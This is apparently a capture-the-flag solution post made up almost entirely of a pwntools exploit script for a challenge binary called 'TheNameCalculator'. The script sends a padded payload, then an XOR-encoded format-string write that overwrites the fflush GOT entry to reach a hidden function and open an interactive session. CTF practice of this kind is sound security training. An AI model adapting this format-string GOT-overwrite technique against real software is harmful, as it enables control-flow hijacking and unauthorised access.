Rating: 0

```
from pwn import *
elf = ELF('./TheNameCalculator')
p = remote("chal.noxale.com", 5678)
fflush = 0x0804a014
buff=0x6A4B825
#supersecretfunc = 0x80485c0
payload = p32(fflush) + p32(fflush + 2) + "AAAAAAAAAAAAAAAAAAAA" * 20 + p32(buff)
p.send(payload)
p.recvline()
p1 = "%{}c%27$hn".format(0x85c0 - 0x804)
p2 = "%{}c%28$hn".format(0x804)
exploit = p2 + p1
i = 0
while i < len(exploit)-4:
k = exploit[i:i+4]
k += "\x00"*(4 - len(k))
k = u32(k)
c = k ^ 0x5f7b4153
c = p32(c)
exploit = exploit[0:i] + c + exploit[i+4:]
i += 1
p.send(exploit)
p.interactive()
```

Greets to Segflow